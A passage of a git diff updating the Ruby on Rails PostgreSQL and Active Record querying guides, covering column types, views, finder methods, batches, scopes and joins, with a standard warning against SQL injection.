+execute <<-SQL
+  CREATE TYPE article_status AS ENUM ('draft', 'published');
+SQL
+create_table :articles do |t|
+  t.column :status, :article_status
+end
+
+# app/models/article.rb
+class Article < ActiveRecord::Base
+end
+
+# Usage
+Article.create status: "draft"
+article = Article.first
+article.status # => "draft"
+
+article.status = "published"
+article.save!
+```
+
+### UUID
+
+* [type definition](http://www.postgresql.org/docs/9.3/static/datatype-uuid.html)
+* [generator functions](http://www.postgresql.org/docs/9.3/static/uuid-ossp.html)
+
+
+```ruby
+# db/migrate/20131220144913_create_revisions.rb
+create_table :revisions do |t|
+  t.column :identifier, :uuid
+end
+
+# app/models/revision.rb
+class Revision < ActiveRecord::Base
+end
+
+# Usage
+Revision.create identifier: "A0EEBC99-9C0B-4EF8-BB6D-6BB9BD380A11"
+
+revision = Revision.first
+revision.identifier # => "a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11"
+```
+
+### Bit String Types
+
+* [type definition](http://www.postgresql.org/docs/9.3/static/datatype-bit.html)
+* [functions and operators](http://www.postgresql.org/docs/9.3/static/functions-bitstring.html)
+
+```ruby
+# db/migrate/20131220144913_create_users.rb
+create_table :users, force: true do |t|
+  t.column :settings, "bit(8)"
+end
+
+# app/models/device.rb
+class User < ActiveRecord::Base
+end
+
+# Usage
+User.create settings: "01010011"
+user = User.first
+user.settings # => "01010011"
+user.settings = "0xAF"
+user.settings # => 10101111
+user.save!
+```
+
+### Network Address Types
+
+* [type definition](http://www.postgresql.org/docs/9.3/static/datatype-net-types.html)
+
+The types `inet` and `cidr` are mapped to Ruby
+[`IPAddr`](http://www.ruby-doc.org/stdlib-2.1.1/libdoc/ipaddr/rdoc/IPAddr.html)
+objects. The `macaddr` type is mapped to normal text.
+
+```ruby
+# db/migrate/20140508144913_create_devices.rb
+create_table(:devices, force: true) do |t|
+  t.inet 'ip'
+  t.cidr 'network'
+  t.macaddr 'address'
+end
+
+# app/models/device.rb
+class Device < ActiveRecord::Base
+end
+
+# Usage
+macbook = Device.create(ip: "192.168.1.12",
+                        network: "192.168.2.0/24",
+                        address: "32:01:16:6d:05:ef")
+
+macbook.ip
+# => #<IPAddr: IPv4:192.168.1.12/255.255.255.255>
+
+macbook.network
+# => #<IPAddr: IPv4:192.168.2.0/255.255.255.0>
+
+macbook.address
+# => "32:01:16:6d:05:ef"
+```
+
+### Geometric Types
+
+* [type definition](http://www.postgresql.org/docs/9.3/static/datatype-geometric.html)
+
+All geometric types, with the exception of `points` are mapped to normal text.
+A point is casted to an array containing `x` and `y` coordinates.
+
+
+UUID Primary Keys
+-----------------
+
+NOTE: you need to enable the `uuid-ossp` extension to generate UUIDs.
+
+```ruby
+# db/migrate/20131220144913_create_devices.rb
+enable_extension 'uuid-ossp' unless extension_enabled?('uuid-ossp')
+create_table :devices, id: :uuid, default: 'uuid_generate_v4()' do |t|
+  t.string :kind
+end
+
+# app/models/device.rb
+class Device < ActiveRecord::Base
+end
+
+# Usage
+device = Device.create
+device.id # => "814865cd-5a1d-4771-9306-4268f188fe9e"
+```
+
+Full Text Search
+----------------
+
+```ruby
+# db/migrate/20131220144913_create_documents.rb
+create_table :documents do |t|
+  t.string 'title'
+  t.string 'body'
+end
+
+execute "CREATE INDEX documents_idx ON documents USING gin(to_tsvector('english', title || ' ' || body));"
+
+# app/models/document.rb
+class Document < ActiveRecord::Base
+end
+
+# Usage
+Document.create(title: "Cats and Dogs", body: "are nice!")
+
+## all documents matching 'cat & dog'
+Document.where("to_tsvector('english', title || ' ' || body) @@ to_tsquery(?)",
+                 "cat & dog")
+```
+
+Database Views
+--------------
+
+* [view creation](http://www.postgresql.org/docs/9.3/static/sql-createview.html)
+
+Imagine you need to work with a legacy database containing the following table:
+
+```
+rails_pg_guide=# \d "TBL_ART"
+                                        Table "public.TBL_ART"
+   Column   |            Type             |                         Modifiers
+------------+-----------------------------+------------------------------------------------------------
+ INT_ID     | integer                     | not null default nextval('"TBL_ART_INT_ID_seq"'::regclass)
+ STR_TITLE  | character varying           |
+ STR_STAT   | character varying           | default 'draft'::character varying
+ DT_PUBL_AT | timestamp without time zone |
+ BL_ARCH    | boolean                     | default false
+Indexes:
+    "TBL_ART_pkey" PRIMARY KEY, btree ("INT_ID")
+```
+
+This table does not follow the Rails conventions at all.
+Because simple PostgreSQL views are updateable by default,
+we can wrap it as follows:
+
+```ruby
+# db/migrate/20131220144913_create_articles_view.rb
+execute <<-SQL
+CREATE VIEW articles AS
+  SELECT "INT_ID" AS id,
+         "STR_TITLE" AS title,
+         "STR_STAT" AS status,
+         "DT_PUBL_AT" AS published_at,
+         "BL_ARCH" AS archived
+  FROM "TBL_ART"
+  WHERE "BL_ARCH" = 'f'
+  SQL
+
+# app/models/article.rb
+class Article < ActiveRecord::Base
+  self.primary_key = "id"
+  def archive!
+    update_attribute :archived, true
+  end
+end
+
+# Usage
+first = Article.create! title: "Winter is coming",
+                        status: "published",
+                        published_at: 1.year.ago
+second = Article.create! title: "Brace yourself",
+                         status: "draft",
+                         published_at: 1.month.ago
+
+Article.count # => 1
+first.archive!
+Article.count # => 2
+```
+
+NOTE: This application only cares about non-archived `Articles`. A view also
+allows for conditions so we can exclude the archived `Articles` directly.
diff --git a/guides/source/active_record_querying.md b/guides/source/active_record_querying.md
index ba0dc6d9eb..c5ca848753 100644
--- a/guides/source/active_record_querying.md
+++ b/guides/source/active_record_querying.md
@@ -1,3 +1,5 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
 Active Record Query Interface
 =============================
 
@@ -9,6 +11,7 @@ After reading this guide, you will know:
 * How to specify the order, retrieved attributes, grouping, and other properties of the found records.
 * How to use eager loading to reduce the number of database queries needed for data retrieval.
 * How to use dynamic finders methods.
+* How to use method chaining to use multiple ActiveRecord methods together.
 * How to check for the existence of particular records.
 * How to perform various calculations on Active Record models.
 * How to run EXPLAIN on relations.
@@ -87,15 +90,15 @@ The primary operation of `Model.find(options)` can be summarized as:
 * Convert the supplied options to an equivalent SQL query.
 * Fire the SQL query and retrieve the corresponding results from the database.
 * Instantiate the equivalent Ruby object of the appropriate model for every resulting row.
-* Run `after_find` callbacks, if any.
+* Run `after_find` and then `after_initialize` callbacks, if any.
 
 ### Retrieving a Single Object
 
 Active Record provides several different ways of retrieving a single object.
 
-#### Using a Primary Key
+#### `find`
 
-Using `Model.find(primary_key)`, you can retrieve the object corresponding to the specified _primary key_ that matches any supplied options. For example:
+Using the `find` method, you can retrieve the object corresponding to the specified _primary key_ that matches any supplied options. For example:
 
 ```ruby
 # Find the client with primary key (id) 10.
@@ -109,119 +112,103 @@ The SQL equivalent of the above is:
 SELECT * FROM clients WHERE (clients.id = 10) LIMIT 1
 ```
 
-`Model.find(primary_key)` will raise an `ActiveRecord::RecordNotFound` exception if no matching record is found.
-
-#### `take`
+The `find` method will raise an `ActiveRecord::RecordNotFound` exception if no matching record is found.
 
-`Model.take` retrieves a record without any implicit ordering. For example:
+You can also use this method to query for multiple objects. Call the `find` method and pass in an array of primary keys. The return will be an array containing all of the matching records for the supplied _primary keys_. For example:
 
 ```ruby
-client = Client.take
-# => #<Client id: 1, first_name: "Lifo">
+# Find the clients with primary keys 1 and 10.
+client = Client.find([1, 10]) # Or even Client.find(1, 10)
+# => [#<Client id: 1, first_name: "Lifo">, #<Client id: 10, first_name: "Ryan">]
 ```
 
 The SQL equivalent of the above is:
 
 ```sql
-SELECT * FROM clients LIMIT 1
+SELECT * FROM clients WHERE (clients.id IN (1,10))
 ```
 
-`Model.take` returns `nil` if no record is found and no exception will be raised.
-
-TIP: The retrieved record may vary depending on the database engine.
+WARNING: The `find` method will raise an `ActiveRecord::RecordNotFound` exception unless a matching record is found for **all** of the supplied primary keys.
 
-#### `first`
+#### `take`
 
-`Model.first` finds the first record ordered by the primary key. For example:
+The `take` method retrieves a record without any implicit ordering. For example:
 
 ```ruby
-client = Client.first
+client = Client.take
 # => #<Client id: 1, first_name: "Lifo">
 ```
 
 The SQL equivalent of the above is:
 
 ```sql
-SELECT * FROM clients ORDER BY clients.id ASC LIMIT 1
+SELECT * FROM clients LIMIT 1
 ```
 
-`Model.first` returns `nil` if no matching record is found and no exception will be raised.
-
-#### `last`
+The `take` method returns `nil` if no record is found and no exception will be raised.
 
-`Model.last` finds the last record ordered by the primary key. For example:
+You can pass in a numerical argument to the `take` method to return up to that number of results. For example
 
 ```ruby
-client = Client.last
-# => #<Client id: 221, first_name: "Russel">
+client = Client.take(2)
+# => [
+  #<Client id: 1, first_name: "Lifo">,
+  #<Client id: 220, first_name: "Sara">
+]
 ```
 
 The SQL equivalent of the above is:
 
 ```sql
-SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1
-```
-
-`Model.last` returns `nil` if no matching record is found and no exception will be raised.
-
-#### `find_by`
-
-`Model.find_by` finds the first record matching some conditions. For example:
-
-```ruby
-Client.find_by first_name: 'Lifo'
-# => #<Client id: 1, first_name: "Lifo">
-
-Client.find_by first_name: 'Jon'
-# => nil
+SELECT * FROM clients LIMIT 2
 ```
 
-It is equivalent to writing:
+The `take!` method behaves exactly like `take`, except that it will raise `ActiveRecord::RecordNotFound` if no matching record is found.
 
-```ruby
-Client.where(first_name: 'Lifo').take
-```
+TIP: The retrieved record may vary depending on the database engine.
 
-#### `take!`
+#### `first`
 
-`Model.take!` retrieves a record without any implicit ordering. For example:
+The `first` method finds the first record ordered by the primary key. For example:
 
 ```ruby
-client = Client.take!
+client = Client.first
 # => #<Client id: 1, first_name: "Lifo">
 ```
 
 The SQL equivalent of the above is:
 
 ```sql
-SELECT * FROM clients LIMIT 1
+SELECT * FROM clients ORDER BY clients.id ASC LIMIT 1
 ```
 
-`Model.take!` raises `ActiveRecord::RecordNotFound` if no matching record is found.
+The `first` method returns `nil` if no matching record is found and no exception will be raised.
 
-#### `first!`
-
-`Model.first!` finds the first record ordered by the primary key. For example:
+You can pass in a numerical argument to the `first` method to return up to that number of results. For example
 
 ```ruby
-client = Client.first!
-# => #<Client id: 1, first_name: "Lifo">
+client = Client.first(3)
+# => [
+  #<Client id: 1, first_name: "Lifo">,
+  #<Client id: 2, first_name: "Fifo">,
+  #<Client id: 3, first_name: "Filo">
+]
 ```
 
 The SQL equivalent of the above is:
 
 ```sql
-SELECT * FROM clients ORDER BY clients.id ASC LIMIT 1
+SELECT * FROM clients ORDER BY clients.id ASC LIMIT 3
 ```
 
-`Model.first!` raises `ActiveRecord::RecordNotFound` if no matching record is found.
+The `first!` method behaves exactly like `first`, except that it will raise `ActiveRecord::RecordNotFound` if no matching record is found.
 
-#### `last!`
+#### `last`
 
-`Model.last!` finds the last record ordered by the primary key. For example:
+The `last` method finds the last record ordered by the primary key. For example:
 
 ```ruby
-client = Client.last!
+client = Client.last
 # => #<Client id: 221, first_name: "Russel">
 ```
 
@@ -231,92 +218,62 @@ The SQL equivalent of the above is:
 SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1
 ```
 
-`Model.last!` raises `ActiveRecord::RecordNotFound` if no matching record is found.
-
-#### `find_by!`
-
-`Model.find_by!` finds the first record matching some conditions. It raises `ActiveRecord::RecordNotFound` if no matching record is found. For example:
-
-```ruby
-Client.find_by! first_name: 'Lifo'
-# => #<Client id: 1, first_name: "Lifo">
-
-Client.find_by! first_name: 'Jon'
-# => ActiveRecord::RecordNotFound
-```
-
-It is equivalent to writing:
-
-```ruby
-Client.where(first_name: 'Lifo').take!
-```
-
-### Retrieving Multiple Objects
+The `last` method returns `nil` if no matching record is found and no exception will be raised.
 
-#### Using Multiple Primary Keys
-
-`Model.find(array_of_primary_key)` accepts an array of _primary keys_, returning an array containing all of the matching records for the supplied _primary keys_. For example:
+You can pass in a numerical argument to the `last` method to return up to that number of results. For example
 
 ```ruby
-# Find the clients with primary keys 1 and 10.
-client = Client.find([1, 10]) # Or even Client.find(1, 10)
-# => [#<Client id: 1, first_name: "Lifo">, #<Client id: 10, first_name: "Ryan">]
+client = Client.last(3)
+# => [
+  #<Client id: 219, first_name: "James">,
+  #<Client id: 220, first_name: "Sara">,
+  #<Client id: 221, first_name: "Russel">
+]
 ```
 
 The SQL equivalent of the above is:
 
 ```sql
-SELECT * FROM clients WHERE (clients.id IN (1,10))
+SELECT * FROM clients ORDER BY clients.id DESC LIMIT 3
 ```
 
-WARNING: `Model.find(array_of_primary_key)` will raise an `ActiveRecord::RecordNotFound` exception unless a matching record is found for **all** of the supplied primary keys.
+The `last!` method behaves exactly like `last`, except that it will raise `ActiveRecord::RecordNotFound` if no matching record is found.
 
-#### take
+#### `find_by`
 
-`Model.take(limit)` retrieves the first number of records specified by `limit` without any explicit ordering:
+The `find_by` method finds the first record matching some conditions. For example:
 
 ```ruby
-Client.take(2)
-# => [#<Client id: 1, first_name: "Lifo">,
-      #<Client id: 2, first_name: "Raf">]
-```
-
-The SQL equivalent of the above is:
+Client.find_by first_name: 'Lifo'
+# => #<Client id: 1, first_name: "Lifo">
 
-```sql
-SELECT * FROM clients LIMIT 2
+Client.find_by first_name: 'Jon'
+# => nil
 ```
 
-#### first
-
-`Model.first(limit)` finds the first number of records specified by `limit` ordered by primary key:
+It is equivalent to writing:
 
 ```ruby
-Client.first(2)
-# => [#<Client id: 1, first_name: "Lifo">,
-      #<Client id: 2, first_name: "Raf">]
+Client.where(first_name: 'Lifo').take
 ```
 
 The SQL equivalent of the above is:
 
 ```sql
-SELECT * FROM clients ORDER BY id ASC LIMIT 2
+SELECT * FROM clients WHERE (clients.first_name = 'Lifo') LIMIT 1
 ```
 
-#### last
-
-`Model.last(limit)` finds the number of records specified by `limit` ordered by primary key in descending order:
+The `find_by!` method behaves exactly like `find_by`, except that it will raise `ActiveRecord::RecordNotFound` if no matching record is found. For example:
 
 ```ruby
-Client.last(2)
-# => [#<Client id: 10, first_name: "Ryan">,
-      #<Client id: 9, first_name: "John">]
+Client.find_by! first_name: 'does not exist'
+# => ActiveRecord::RecordNotFound
 ```
 
-The SQL equivalent of the above is:
+This is equivalent to writing:
 
-```sql
-SELECT * FROM clients ORDER BY id DESC LIMIT 2
+```ruby
+Client.where(first_name: 'does not exist').take!
 ```
 
 ### Retrieving Multiple Objects in Batches
@@ -328,7 +285,7 @@ This may appear straightforward:
 ```ruby
 # This is very inefficient when the users table has thousands of rows.
 User.all.each do |user|
-  NewsLetter.weekly_deliver(user)
+  NewsMailer.weekly(user).deliver_now
 end
 ```
 
@@ -344,7 +301,15 @@ The `find_each` method retrieves a batch of records and then yields _each_ recor
 
 ```ruby
 User.find_each do |user|
-  NewsLetter.weekly_deliver(user)
+  NewsMailer.weekly(user).deliver_now
+end
+```
+
+To add conditions to a `find_each` operation you can chain other Active Record methods such as `where`:
+
+```ruby
+User.where(weekly_subscriber: true).find_each do |user|
+  NewsMailer.weekly(user).deliver_now
 end
 ```
 
@@ -360,7 +325,7 @@ The `:batch_size` option allows you to specify the number of records to be retri
 
 ```ruby
 User.find_each(batch_size: 5000) do |user|
-  NewsLetter.weekly_deliver(user)
+  NewsMailer.weekly(user).deliver_now
 end
 ```
 
@@ -372,28 +337,39 @@ For example, to send newsletters only to users with the primary key starting fro
 
 ```ruby
 User.find_each(start: 2000, batch_size: 5000) do |user|
-  NewsLetter.weekly_deliver(user)
+  NewsMailer.weekly(user).deliver_now
 end
 ```
 
 Another example would be if you wanted multiple workers handling the same processing queue. You could have each worker handle 10000 records by setting the appropriate `:start` option on each worker.
 
+**`:end_at`**
+
+Similar to the `:start` option, `:end_at` allows you to configure the last ID of the sequence whenever the highest ID is not the one you need.
+This would be useful, for example, if you wanted to run a batch process, using a subset of records based on `:start` and `:end_at`
+
+For example, to send newsletters only to users with the primary key starting from 2000 upto 10000 and to retrieve them in batches of 1000:
+
+```ruby
+User.find_each(start: 2000, end_at: 10000, batch_size: 5000) do |user|
+  NewsMailer.weekly(user).deliver_now
+end
+```
+
 #### `find_in_batches`
 
 The `find_in_batches` method is similar to `find_each`, since both retrieve batches of records. The difference is that `find_in_batches` yields _batches_ to the block as an array of models, instead of individually. The following example will yield to the supplied block an array of up to 1000 invoices at a time, with the final block containing any remaining invoices:
 
 ```ruby
 # Give add_invoices an array of 1000 invoices at a time
-Invoice.find_in_batches(include: :invoice_lines) do |invoices|
+Invoice.find_in_batches do |invoices|
   export.add_invoices(invoices)
 end
 ```
 
-NOTE: The `:include` option allows you to name associations that should be loaded alongside with the models.
-
 ##### Options for `find_in_batches`
 
-The `find_in_batches` method accepts the same `:batch_size` and `:start` options as `find_each`, as well as most of the options allowed by the regular `find` method, except for `:order` and `:limit`, which are reserved for internal use by `find_in_batches`.
+The `find_in_batches` method accepts the same `:batch_size`, `:start` and `:end_at` options as `find_each`.
 
 Conditions
 ----------
@@ -436,7 +412,7 @@ to this code:
 Client.where("orders_count = #{params[:orders]}")
 ```
 
-because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database **as-is**. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string.
+because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database **as-is**. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out they can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string.
 
 TIP: For more information on the dangers of SQL injection, see the [Ruby on Rails Security Guide](security.html#sql-injection).
 
@@ -472,8 +448,8 @@ Client.where('locked' => true)
 In the case of a belongs_to relationship, an association key can be used to specify the model if an Active Record object is used as the value. This method works with polymorphic relationships as well.
 
 ```ruby
-Post.where(author: author)
-Author.joins(:posts).where(posts: {author: author})
+Article.where(author: author)
+Author.joins(:articles).where(articles: { author: author })
 ```
 
 NOTE: The values cannot be symbols. For example, you cannot do `Client.where(status: :active)`.
@@ -511,7 +487,7 @@ SELECT * FROM clients WHERE (clients.orders_count IN (1,3,5))
 `NOT` SQL queries can be built by `where.not`.
 
 ```ruby
-Post.where.not(author: author)
+Article.where.not(author: author)
 ```
 
 In other words, this query can be generated by calling `where` with no argument, then immediately chain with `not` passing `where` conditions.
@@ -659,6 +635,23 @@ FROM orders
 GROUP BY date(created_at)
 ```
 
+### Total of grouped items
+
+To get the total of grouped items on a single query call `count` after the `group`.
+
+```ruby
+Order.group(:status).count
+# => { 'awaiting_approval' => 7, 'paid' => 12 }
+```
+
+The SQL that would be executed would be something like this:
+
+```sql
+SELECT COUNT (*) AS count_all, status AS status
+FROM "orders"
+GROUP BY status
+```
+
 Having
 ------
 
@@ -685,43 +678,37 @@ This will return single order objects for each day, but only those that are orde
 Overriding Conditions
 ---------------------
 
-### `except`
+### `unscope`
 
-You can specify certain conditions to be excepted by using the `except` method. For example:
+You can specify certain conditions to be removed using the `unscope` method. For example:
 
 ```ruby
-Post.where('id > 10').limit(20).order('id asc').except(:order)
+Article.where('id > 10').limit(20).order('id asc').unscope(:order)
 ```
 
 The SQL that would be executed:
 
 ```sql
-SELECT * FROM posts WHERE id > 10 LIMIT 20
+SELECT * FROM articles WHERE id > 10 LIMIT 20
 
-# Original query without `except`
-SELECT * FROM posts WHERE id > 10 ORDER BY id asc LIMIT 20
+# Original query without `unscope`
+SELECT * FROM articles WHERE id > 10 ORDER BY id asc LIMIT 20
 
 ```
 
-### `unscope`
-
-The `except` method does not work when the relation is merged. For example:
+You can also unscope specific `where` clauses. For example:
 
 ```ruby
-Post.comments.except(:order)
+Article.where(id: 10, trashed: false).unscope(where: :id)
+# SELECT "articles".* FROM "articles" WHERE trashed = 0
 ```
 
-will still have an order if the order comes from a default scope on Comment. In order to remove all ordering, even from relations which are merged in, use unscope as follows:
+A relation which has used `unscope` will affect any relation it is
+merged in to:
 
 ```ruby
-Post.order('id DESC').limit(20).unscope(:order) = Post.limit(20)
-Post.order('id DESC').limit(20).unscope(:order, :limit) = Post.all
-```
-
-You can additionally unscope specific where clauses. For example:
-
-```ruby
-Post.where(id: 10).limit(1).unscope({ where: :id }, :limit).order('id DESC') = Post.order('id DESC')
+Article.order('id asc').merge(Article.unscope(:order))
+# SELECT "articles".* FROM "articles"
 ```
 
 ### `only`
@@ -729,16 +716,16 @@ Post.where(id: 10).limit(1).unscope({ where: :id }, :limit).order('id DESC') = P
 You can also override conditions using the `only` method. For example:
 
 ```ruby
-Post.where('id > 10').limit(20).order('id desc').only(:order, :where)
+Article.where('id > 10').limit(20).order('id desc').only(:order, :where)
 ```
 
 The SQL that would be executed:
 
 ```sql
-SELECT * FROM posts WHERE id > 10 ORDER BY id DESC
+SELECT * FROM articles WHERE id > 10 ORDER BY id DESC
 
 # Original query without `only`
-SELECT "posts".* FROM "posts" WHERE (id > 10) ORDER BY id desc LIMIT 20
+SELECT "articles".* FROM "articles" WHERE (id > 10) ORDER BY id desc LIMIT 20
 
 ```
 
@@ -747,25 +734,25 @@ SELECT "posts".* FROM "posts" WHERE (id > 10) ORDER BY id desc LIMIT 20
 The `reorder` method overrides the default scope order. For example:
 
 ```ruby
-class Post < ActiveRecord::Base
-  ..
-  ..
+class Article < ActiveRecord::Base
   has_many :comments, -> { order('posted_at DESC') }
 end
 
-Post.find(10).comments.reorder('name')
+Article.find(10).comments.reorder('name')
 ```
 
 The SQL that would be executed:
 
 ```sql
-SELECT * FROM posts WHERE id = 10 ORDER BY name
+SELECT * FROM articles WHERE id = 10
+SELECT * FROM comments WHERE article_id = 10 ORDER BY name
 ```
 
 In case the `reorder` clause is not used, the SQL executed would be:
 
 ```sql
-SELECT * FROM posts WHERE id = 10 ORDER BY posted_at DESC
+SELECT * FROM articles WHERE id = 10
+SELECT * FROM comments WHERE article_id = 10 ORDER BY posted_at DESC
 ```
 
 ### `reverse_order`
@@ -796,27 +783,53 @@ SELECT * FROM clients WHERE orders_count > 10 ORDER BY clients.id DESC
 
 This method accepts **no** arguments.
 
+### `rewhere`
+
+The `rewhere` method overrides an existing, named where condition. For example:
+
+```ruby
+Article.where(trashed: true).rewhere(trashed: false)
+```
+
+The SQL that would be executed:
+
+```sql
+SELECT * FROM articles WHERE `trashed` = 0
+```
+
+In case the `rewhere` clause is not used,
+
+```ruby
+Article.where(trashed: true).where(trashed: false)
+```
+
+the SQL executed would be:
+
+```sql
+SELECT * FROM articles WHERE `trashed` = 1 AND `trashed` = 0
+```
+
 Null Relation
 -------------
 
 The `none` method returns a chainable relation with no records. Any subsequent conditions chained to the returned relation will continue generating empty relations. This is useful in scenarios where you need a chainable response to a method or a scope that could return zero results.
 
 ```ruby
-Post.none # returns an empty Relation and fires no queries.
+Article.none # returns an empty Relation and fires no queries.
 ```
 
 ```ruby
-# The visible_posts method below is expected to return a Relation.
-@posts = current_user.visible_posts.where(name: params[:name])
+# The visible_articles method below is expected to return a Relation.
+@articles = current_user.visible_articles.where(name: params[:name])
 
-def visible_posts
+def visible_articles
   case role
   when 'Country Manager'
-    Post.where(country: country)
+    Article.where(country: country)
   when 'Reviewer'
-    Post.published
+    Article.published
   when 'Bad User'
-    Post.none # => returning [] or nil breaks the caller code in this case
+    Article.none # => returning [] or nil breaks the caller code in this case
   end
 end
 ```
@@ -941,23 +954,23 @@ SELECT clients.* FROM clients LEFT OUTER JOIN addresses ON addresses.client_id =
 
 WARNING: This method only works with `INNER JOIN`.
 
-Active Record lets you use the names of the [associations](association_basics.html) defined on the model as a shortcut for specifying `JOIN` clause for those associations when using the `joins` method.
+Active Record lets you use the names of the [associations](association_basics.html) defined on the model as a shortcut for specifying `JOIN` clauses for those associations when using the `joins` method.
 
-For example, consider the following `Category`, `Post`, `Comments` and `Guest` models:
+For example, consider the following `Category`, `Article`, `Comment`, `Guest` and `Tag` models:
 
 ```ruby
 class Category < ActiveRecord::Base
-  has_many :posts
+  has_many :articles
 end
 
-class Post < ActiveRecord::Base
+class Article < ActiveRecord::Base
   belongs_to :category
   has_many :comments
   has_many :tags
 end
 
 class Comment < ActiveRecord::Base
-  belongs_to :post
+  belongs_to :article
   has_one :guest
 end
 
@@ -966,7 +979,7 @@ class Guest < ActiveRecord::Base
 end
 
 class Tag < ActiveRecord::Base
-  belongs_to :post
+  belongs_to :article
 end
 ```
 
@@ -975,64 +988,64 @@ Now all of the following will produce the expected join queries using `INNER JOI
 #### Joining a Single Association
 
 ```ruby
-Category.joins(:posts)
+Category.joins(:articles)
 ```
 
 This produces:
 
 ```sql
 SELECT categories.* FROM categories
-  INNER JOIN posts ON posts.category_id = categories.id
+  INNER JOIN articles ON articles.category_id = categories.id
 ```
 
-Or, in English: "return a Category object for all categories with posts". Note that you will see duplicate categories if more than one post has the same category. If you want unique categories, you can use `Category.joins(:posts).uniq`.
+Or, in English: "return a Category object for all categories with articles". Note that you will see duplicate categories if more than one article has the same category. If you want unique categories, you can use `Category.joins(:articles).uniq`.
 
 #### Joining Multiple Associations
 
 ```ruby
-Post.joins(:category, :comments)
+Article.joins(:category, :comments)
 ```
 
 This produces:
 
 ```sql
-SELECT posts.* FROM posts
-  INNER JOIN categories ON posts.category_id = categories.id
-  INNER JOIN comments ON comments.post_id = posts.id
+SELECT articles.* FROM articles
+  INNER JOIN categories ON articles.category_id = categories.id
+  INNER JOIN comments ON comments.article_id = articles.id
 ```
 
-Or, in English: "return all posts that have a category and at least one comment". Note again that posts with multiple comments will show up multiple times.
+Or, in English: "return all articles that have a category and at least one comment". Note again that articles with multiple comments will show up multiple times.
 
 #### Joining Nested Associations (Single Level)
 
 ```ruby
-Post.joins(comments: :guest)
+Article.joins(comments: :guest)
 ```
 
 This produces:
 
 ```sql
-SELECT posts.* FROM posts
-  INNER JOIN comments ON comments.post_id = posts.id
+SELECT articles.* FROM articles
+  INNER JOIN comments ON comments.article_id = articles.id
   INNER JOIN guests ON guests.comment_id = comments.id
 ```
 
-Or, in English: "return all posts that have a comment made by a guest."
+Or, in English: "return all articles that have a comment made by a guest."
 
 #### Joining Nested Associations (Multiple Level)
 
 ```ruby
-Category.joins(posts: [{comments: :guest}, :tags])
+Category.joins(articles: [{ comments: :guest }, :tags])
 ```
 
 This produces:
 
 ```sql
 SELECT categories.* FROM categories
-  INNER JOIN posts ON posts.category_id = categories.id
-  INNER JOIN comments ON comments.post_id = posts.id
+  INNER JOIN articles ON articles.category_id = categories.id
+  INNER JOIN comments ON comments.article_id = articles.id
   INNER JOIN guests ON guests.comment_id = comments.id
-  INNER JOIN tags ON tags.post_id = posts.id
+  INNER JOIN tags ON tags.article_id = articles.id
 ```
 
 ### Specifying Conditions on the Joined Tables
@@ -1048,7 +1061,7 @@ An alternative and cleaner syntax is to nest the hash conditions:
 
 ```ruby
 time_range = (Time.now.midnight - 1.day)..Time.now.midnight
-Client.joins(:orders).where(orders: {created_at: time_range})
+Client.joins(:orders).where(orders: { created_at: time_range })
 ```
 
 This will find all clients who have orders that were created yesterday, again using a `BETWEEN` SQL expression.
@@ -1101,18 +1114,18 @@ Active Record lets you eager load any number of associations with a single `Mode
 #### Array of Multiple Associations
 
 ```ruby
-Post.includes(:category, :comments)
+Article.includes(:category, :comments)
 ```
 
-This loads all the posts and the associated category and comments for each post.
+This loads all the articles and the associated category and comments for each article.
 
 #### Nested Associations Hash
 
 ```ruby
-Category.includes(posts: [{comments: :guest}, :tags]).find(1)
+Category.includes(articles: [{ comments: :guest }, :tags]).find(1)
 ```
 
-This will find the category with id 1 and eager load all of the associated posts, the associated posts' tags and comments, and every comment's guest association.
+This will find the category with id 1 and eager load all of the associated articles, the associated articles' tags and comments, and every comment's guest association.
 
 ### Specifying Conditions on Eager Loaded Associations
 
@@ -1121,18 +1134,31 @@ Even though Active Record lets you specify conditions on the eager loaded associ
 However if you must do this, you may use `where` as you would normally.
 
 ```ruby
-Post.includes(:comments).where("comments.visible" => true)
+Article.includes(:comments).where(comments: { visible: true })
 ```
 
-This would generate a query which contains a `LEFT OUTER JOIN` whereas the `joins` method would generate one using the `INNER JOIN` function instead.
+This would generate a query which contains a `LEFT OUTER JOIN` whereas the
+`joins` method would generate one using the `INNER JOIN` function instead.
 
 ```ruby
-  SELECT "posts"."id" AS t0_r0, ... "comments"."updated_at" AS t1_r5 FROM "posts" LEFT OUTER JOIN "comments" ON "comments"."post_id" = "posts"."id" WHERE (comments.visible = 1)
+  SELECT "articles"."id" AS t0_r0, ... "comments"."updated_at" AS t1_r5 FROM "articles" LEFT OUTER JOIN "comments" ON "comments"."article_id" = "articles"."id" WHERE (comments.visible = 1)
 ```
 
 If there was no `where` condition, this would generate the normal set of two queries.
 
-If, in the case of this `includes` query, there were no comments for any posts, all the posts would still be loaded. By using `joins` (an INNER JOIN), the join conditions **must** match, otherwise no records will be returned.
+NOTE: Using `where` like this will only work when you pass it a Hash. For
+SQL-fragments you need to use `references` to force joined tables:
+
+```ruby
+Article.includes(:comments).where("comments.visible = true").references(:comments)
+```
+
+If, in the case of this `includes` query, there were no comments for any
+articles, all the articles would still be loaded. By using `joins` (an INNER
+JOIN), the join conditions **must** match, otherwise no records will be
+returned.
+
+
 
 Scopes
 ------
@@ -1142,7 +1168,7 @@ Scoping allows you to specify commonly-used queries which can be referenced as m
 To define a simple scope, we use the `scope` method inside the class, passing the query that we'd like to run when this scope is called:
 
 ```ruby
-class Post < ActiveRecord::Base
+class Article < ActiveRecord::Base
   scope :published, -> { where(published: true) }
 end
 ```
@@ -1150,7 +1176,7 @@ end
 This is exactly the same as defining a class method, and which you use is a matter of personal preference:
 
 ```ruby
-class Post < ActiveRecord::Base
+class Article < ActiveRecord::Base
   def self.published
     where(published: true)
   end
@@ -1160,7 +1186,7 @@ end
 Scopes are also chainable within scopes:
 
 ```ruby
-class Post < ActiveRecord::Base
+class Article < ActiveRecord::Base
   scope :published,               -> { where(published: true) }
   scope :published_and_commented, -> { published.where("comments_count > 0") }
 end
@@ -1169,14 +1195,14 @@ end
